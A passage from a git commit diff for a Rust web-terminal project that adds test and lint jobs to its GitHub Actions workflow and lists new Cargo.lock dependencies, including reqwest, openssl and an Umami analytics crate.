- add cargo fmt / clippy to actions build. - add common unit tests. -
improved security sanitization - security spcecific unit tests - add unit tests to workflow build - add unami analytics.
This commit is contained in:
parent
9fb9d9ab50
commit
850cf32b50
@ -15,7 +15,38 @@ env:
|
|||||||
IMAGE_NAME: jason/socktop-webterm
|
IMAGE_NAME: jason/socktop-webterm
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
|
test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Set up Rust toolchain
|
||||||
|
uses: actions-rust-lang/setup-rust-toolchain@v1
|
||||||
|
|
||||||
|
- name: Run tests
|
||||||
|
run: cargo test --all-targets --all-features
|
||||||
|
|
||||||
|
lint:
|
||||||
|
needs: test
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Set up Rust toolchain
|
||||||
|
uses: actions-rust-lang/setup-rust-toolchain@v1
|
||||||
|
with:
|
||||||
|
components: rustfmt, clippy
|
||||||
|
|
||||||
|
- name: Cargo fmt
|
||||||
|
run: cargo fmt --all -- --check
|
||||||
|
|
||||||
|
- name: Clippy
|
||||||
|
run: cargo clippy --all-targets --all-features -- -D warnings
|
||||||
|
|
||||||
build-and-push:
|
build-and-push:
|
||||||
|
needs: lint
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
outputs:
|
outputs:
|
||||||
version: ${{ steps.get_version.outputs.version }}
|
version: ${{ steps.get_version.outputs.version }}
|
||||||
|
|||||||
537
Cargo.lock
generated
537
Cargo.lock
generated
@ -77,7 +77,7 @@ dependencies = [
|
|||||||
"actix-rt",
|
"actix-rt",
|
||||||
"actix-service",
|
"actix-service",
|
||||||
"actix-utils",
|
"actix-utils",
|
||||||
"base64",
|
"base64 0.22.1",
|
||||||
"bitflags 2.10.0",
|
"bitflags 2.10.0",
|
||||||
"brotli",
|
"brotli",
|
||||||
"bytes",
|
"bytes",
|
||||||
@ -355,6 +355,12 @@ version = "1.5.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
|
checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "base64"
|
||||||
|
version = "0.21.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "base64"
|
name = "base64"
|
||||||
version = "0.22.1"
|
version = "0.22.1"
|
||||||
@ -403,6 +409,12 @@ dependencies = [
|
|||||||
"alloc-stdlib",
|
"alloc-stdlib",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "bumpalo"
|
||||||
|
version = "3.19.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bytes"
|
name = "bytes"
|
||||||
version = "1.11.0"
|
version = "1.11.0"
|
||||||
@ -499,6 +511,22 @@ dependencies = [
|
|||||||
"version_check 0.9.5",
|
"version_check 0.9.5",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "core-foundation"
|
||||||
|
version = "0.9.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
|
||||||
|
dependencies = [
|
||||||
|
"core-foundation-sys",
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "core-foundation-sys"
|
||||||
|
version = "0.8.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cpufeatures"
|
name = "cpufeatures"
|
||||||
version = "0.2.17"
|
version = "0.2.17"
|
||||||
@ -703,6 +731,22 @@ version = "1.0.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
|
checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "errno"
|
||||||
|
version = "0.3.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "fastrand"
|
||||||
|
version = "2.3.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "filedescriptor"
|
name = "filedescriptor"
|
||||||
version = "0.8.3"
|
version = "0.8.3"
|
||||||
@ -742,6 +786,21 @@ version = "0.1.5"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2"
|
checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "foreign-types"
|
||||||
|
version = "0.3.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1"
|
||||||
|
dependencies = [
|
||||||
|
"foreign-types-shared",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "foreign-types-shared"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "form_urlencoded"
|
name = "form_urlencoded"
|
||||||
version = "1.2.2"
|
version = "1.2.2"
|
||||||
@ -920,6 +979,17 @@ dependencies = [
|
|||||||
"itoa",
|
"itoa",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "http-body"
|
||||||
|
version = "0.4.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2"
|
||||||
|
dependencies = [
|
||||||
|
"bytes",
|
||||||
|
"http",
|
||||||
|
"pin-project-lite",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "http-range"
|
name = "http-range"
|
||||||
version = "0.1.5"
|
version = "0.1.5"
|
||||||
@ -938,6 +1008,43 @@ version = "1.0.3"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
|
checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "hyper"
|
||||||
|
version = "0.14.32"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "41dfc780fdec9373c01bae43289ea34c972e40ee3c9f6b3c8801a35f35586ce7"
|
||||||
|
dependencies = [
|
||||||
|
"bytes",
|
||||||
|
"futures-channel",
|
||||||
|
"futures-core",
|
||||||
|
"futures-util",
|
||||||
|
"h2",
|
||||||
|
"http",
|
||||||
|
"http-body",
|
||||||
|
"httparse",
|
||||||
|
"httpdate",
|
||||||
|
"itoa",
|
||||||
|
"pin-project-lite",
|
||||||
|
"socket2 0.5.10",
|
||||||
|
"tokio",
|
||||||
|
"tower-service",
|
||||||
|
"tracing",
|
||||||
|
"want",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "hyper-tls"
|
||||||
|
version = "0.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d6183ddfa99b85da61a140bea0efc93fdf56ceaa041b37d553518030827f9905"
|
||||||
|
dependencies = [
|
||||||
|
"bytes",
|
||||||
|
"hyper",
|
||||||
|
"native-tls",
|
||||||
|
"tokio",
|
||||||
|
"tokio-native-tls",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "icu_collections"
|
name = "icu_collections"
|
||||||
version = "2.1.1"
|
version = "2.1.1"
|
||||||
@ -1071,6 +1178,12 @@ dependencies = [
|
|||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ipnet"
|
||||||
|
version = "2.11.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "469fb0b9cefa57e3ef31275ee7cacb78f2fdca44e4765491884a2b119d4eb130"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "is_terminal_polyfill"
|
name = "is_terminal_polyfill"
|
||||||
version = "1.70.2"
|
version = "1.70.2"
|
||||||
@ -1117,6 +1230,16 @@ dependencies = [
|
|||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "js-sys"
|
||||||
|
version = "0.3.83"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "464a3709c7f55f1f721e5389aa6ea4e3bc6aba669353300af094b29ffbdde1d8"
|
||||||
|
dependencies = [
|
||||||
|
"once_cell",
|
||||||
|
"wasm-bindgen",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "language-tags"
|
name = "language-tags"
|
||||||
version = "0.3.2"
|
version = "0.3.2"
|
||||||
@ -1135,6 +1258,12 @@ version = "0.2.177"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976"
|
checksum = "2874a2af47a2325c2001a6e6fad9b16a53b802102b528163885171cf92b15976"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "linux-raw-sys"
|
||||||
|
version = "0.11.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "df1d3c3b53da64cf5760482273a98e575c651a67eec7f77df96b5b642de8f039"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "litemap"
|
name = "litemap"
|
||||||
version = "0.8.1"
|
version = "0.8.1"
|
||||||
@ -1190,12 +1319,9 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "mime"
|
name = "mime"
|
||||||
version = "0.3.13"
|
version = "0.3.17"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "3e27ca21f40a310bd06d9031785f4801710d566c184a6e15bad4f1d9b65f9425"
|
checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
|
||||||
dependencies = [
|
|
||||||
"unicase",
|
|
||||||
]
|
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "mime_guess"
|
name = "mime_guess"
|
||||||
@ -1229,6 +1355,23 @@ dependencies = [
|
|||||||
"windows-sys 0.61.2",
|
"windows-sys 0.61.2",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "native-tls"
|
||||||
|
version = "0.2.14"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"log",
|
||||||
|
"openssl",
|
||||||
|
"openssl-probe",
|
||||||
|
"openssl-sys",
|
||||||
|
"schannel",
|
||||||
|
"security-framework",
|
||||||
|
"security-framework-sys",
|
||||||
|
"tempfile",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "nix"
|
name = "nix"
|
||||||
version = "0.25.1"
|
version = "0.25.1"
|
||||||
@ -1276,6 +1419,50 @@ version = "1.70.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe"
|
checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "openssl"
|
||||||
|
version = "0.10.75"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "08838db121398ad17ab8531ce9de97b244589089e290a384c900cb9ff7434328"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags 2.10.0",
|
||||||
|
"cfg-if 1.0.4",
|
||||||
|
"foreign-types",
|
||||||
|
"libc",
|
||||||
|
"once_cell",
|
||||||
|
"openssl-macros",
|
||||||
|
"openssl-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "openssl-macros"
|
||||||
|
version = "0.1.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "openssl-probe"
|
||||||
|
version = "0.1.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d05e27ee213611ffe7d6348b942e8f942b37114c00cc03cec254295a4a17852e"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "openssl-sys"
|
||||||
|
version = "0.9.111"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "82cab2d520aa75e3c58898289429321eb788c3106963d0dc886ec7a5f4adc321"
|
||||||
|
dependencies = [
|
||||||
|
"cc",
|
||||||
|
"libc",
|
||||||
|
"pkg-config",
|
||||||
|
"vcpkg",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "parking_lot"
|
name = "parking_lot"
|
||||||
version = "0.12.5"
|
version = "0.12.5"
|
||||||
@ -1399,7 +1586,7 @@ dependencies = [
|
|||||||
"shared_library",
|
"shared_library",
|
||||||
"shell-words",
|
"shell-words",
|
||||||
"winapi",
|
"winapi",
|
||||||
"winreg",
|
"winreg 0.10.1",
|
||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
@ -1523,18 +1710,118 @@ version = "0.8.8"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "7a2d987857b319362043e95f5353c0535c1f58eec5336fdfcf626430af7def58"
|
checksum = "7a2d987857b319362043e95f5353c0535c1f58eec5336fdfcf626430af7def58"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "reqwest"
|
||||||
|
version = "0.11.27"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "dd67538700a17451e7cba03ac727fb961abb7607553461627b97de0b89cf4a62"
|
||||||
|
dependencies = [
|
||||||
|
"base64 0.21.7",
|
||||||
|
"bytes",
|
||||||
|
"encoding_rs",
|
||||||
|
"futures-core",
|
||||||
|
"futures-util",
|
||||||
|
"h2",
|
||||||
|
"http",
|
||||||
|
"http-body",
|
||||||
|
"hyper",
|
||||||
|
"hyper-tls",
|
||||||
|
"ipnet",
|
||||||
|
"js-sys",
|
||||||
|
"log",
|
||||||
|
"mime",
|
||||||
|
"native-tls",
|
||||||
|
"once_cell",
|
||||||
|
"percent-encoding",
|
||||||
|
"pin-project-lite",
|
||||||
|
"rustls-pemfile",
|
||||||
|
"serde",
|
||||||
|
"serde_json",
|
||||||
|
"serde_urlencoded",
|
||||||
|
"sync_wrapper",
|
||||||
|
"system-configuration",
|
||||||
|
"tokio",
|
||||||
|
"tokio-native-tls",
|
||||||
|
"tower-service",
|
||||||
|
"url",
|
||||||
|
"wasm-bindgen",
|
||||||
|
"wasm-bindgen-futures",
|
||||||
|
"web-sys",
|
||||||
|
"winreg 0.50.0",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustix"
|
||||||
|
version = "1.1.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cd15f8a2c5551a84d56efdc1cd049089e409ac19a3072d5037a17fd70719ff3e"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags 2.10.0",
|
||||||
|
"errno",
|
||||||
|
"libc",
|
||||||
|
"linux-raw-sys",
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustls-pemfile"
|
||||||
|
version = "1.0.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c"
|
||||||
|
dependencies = [
|
||||||
|
"base64 0.21.7",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustversion"
|
||||||
|
version = "1.0.22"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ryu"
|
name = "ryu"
|
||||||
version = "1.0.0"
|
version = "1.0.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "c92464b447c0ee8c4fb3824ecc8383b81717b9f1e74ba2e72540aef7b9f82997"
|
checksum = "c92464b447c0ee8c4fb3824ecc8383b81717b9f1e74ba2e72540aef7b9f82997"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "schannel"
|
||||||
|
version = "0.1.28"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "891d81b926048e76efe18581bf793546b4c0eaf8448d72be8de2bbee5fd166e1"
|
||||||
|
dependencies = [
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "scopeguard"
|
name = "scopeguard"
|
||||||
version = "1.2.0"
|
version = "1.2.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
|
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "security-framework"
|
||||||
|
version = "2.11.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags 2.10.0",
|
||||||
|
"core-foundation",
|
||||||
|
"core-foundation-sys",
|
||||||
|
"libc",
|
||||||
|
"security-framework-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "security-framework-sys"
|
||||||
|
version = "2.15.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cc1f0cbffaac4852523ce30d8bd3c5cdc873501d96ff467ca09b6767bb8cd5c0"
|
||||||
|
dependencies = [
|
||||||
|
"core-foundation-sys",
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "serde"
|
name = "serde"
|
||||||
version = "1.0.228"
|
version = "1.0.228"
|
||||||
@ -1746,6 +2033,12 @@ dependencies = [
|
|||||||
"unicode-ident",
|
"unicode-ident",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sync_wrapper"
|
||||||
|
version = "0.1.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "synstructure"
|
name = "synstructure"
|
||||||
version = "0.13.2"
|
version = "0.13.2"
|
||||||
@ -1757,6 +2050,40 @@ dependencies = [
|
|||||||
"syn",
|
"syn",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "system-configuration"
|
||||||
|
version = "0.5.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7"
|
||||||
|
dependencies = [
|
||||||
|
"bitflags 1.3.2",
|
||||||
|
"core-foundation",
|
||||||
|
"system-configuration-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "system-configuration-sys"
|
||||||
|
version = "0.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9"
|
||||||
|
dependencies = [
|
||||||
|
"core-foundation-sys",
|
||||||
|
"libc",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tempfile"
|
||||||
|
version = "3.23.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "2d31c77bdf42a745371d260a26ca7163f1e0924b64afa0b688e61b5a9fa02f16"
|
||||||
|
dependencies = [
|
||||||
|
"fastrand",
|
||||||
|
"getrandom",
|
||||||
|
"once_cell",
|
||||||
|
"rustix",
|
||||||
|
"windows-sys 0.61.2",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "termios"
|
name = "termios"
|
||||||
version = "0.2.2"
|
version = "0.2.2"
|
||||||
@ -1875,6 +2202,16 @@ dependencies = [
|
|||||||
"syn",
|
"syn",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tokio-native-tls"
|
||||||
|
version = "0.3.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2"
|
||||||
|
dependencies = [
|
||||||
|
"native-tls",
|
||||||
|
"tokio",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "tokio-util"
|
name = "tokio-util"
|
||||||
version = "0.7.17"
|
version = "0.7.17"
|
||||||
@ -1888,6 +2225,12 @@ dependencies = [
|
|||||||
"tokio",
|
"tokio",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tower-service"
|
||||||
|
version = "0.3.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "tracing"
|
name = "tracing"
|
||||||
version = "0.1.43"
|
version = "0.1.43"
|
||||||
@ -1920,6 +2263,12 @@ dependencies = [
|
|||||||
"once_cell",
|
"once_cell",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "try-lock"
|
||||||
|
version = "0.2.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "typenum"
|
name = "typenum"
|
||||||
version = "1.19.0"
|
version = "1.19.0"
|
||||||
@ -1932,6 +2281,18 @@ version = "0.1.7"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "2896d95c02a80c6d6a5d6e953d479f5ddf2dfdb6a244441010e373ac0fb88971"
|
checksum = "2896d95c02a80c6d6a5d6e953d479f5ddf2dfdb6a244441010e373ac0fb88971"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "umami_metrics"
|
||||||
|
version = "0.1.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cbc9ec451bb0504e32cafb076fe46e0126c70ad167846e3de02f0a2bbebc6839"
|
||||||
|
dependencies = [
|
||||||
|
"anyhow",
|
||||||
|
"reqwest",
|
||||||
|
"serde",
|
||||||
|
"serde_json",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "unicase"
|
name = "unicase"
|
||||||
version = "2.4.0"
|
version = "2.4.0"
|
||||||
@ -1983,6 +2344,12 @@ version = "0.15.8"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4e8257fbc510f0a46eb602c10215901938b5c2a7d5e70fc11483b1d3c9b5b18c"
|
checksum = "4e8257fbc510f0a46eb602c10215901938b5c2a7d5e70fc11483b1d3c9b5b18c"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "vcpkg"
|
||||||
|
version = "0.2.15"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "version_check"
|
name = "version_check"
|
||||||
version = "0.1.5"
|
version = "0.1.5"
|
||||||
@ -1995,6 +2362,15 @@ version = "0.9.5"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
|
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "want"
|
||||||
|
version = "0.3.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e"
|
||||||
|
dependencies = [
|
||||||
|
"try-lock",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "wasi"
|
name = "wasi"
|
||||||
version = "0.11.1+wasi-snapshot-preview1"
|
version = "0.11.1+wasi-snapshot-preview1"
|
||||||
@ -2010,6 +2386,74 @@ dependencies = [
|
|||||||
"wit-bindgen",
|
"wit-bindgen",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen"
|
||||||
|
version = "0.2.106"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0d759f433fa64a2d763d1340820e46e111a7a5ab75f993d1852d70b03dbb80fd"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if 1.0.4",
|
||||||
|
"once_cell",
|
||||||
|
"rustversion",
|
||||||
|
"wasm-bindgen-macro",
|
||||||
|
"wasm-bindgen-shared",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "wasm-bindgen-futures"
|
||||||
|
version = "0.4.56"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "836d9622d604feee9e5de25ac10e3ea5f2d65b41eac0d9ce72eb5deae707ce7c"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if 1.0.4",
|
||||||
|
"js-sys",
|
||||||
|
"once_cell",
|
||||||
|
"wasm-bindgen",
|
||||||
|
"web-sys",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
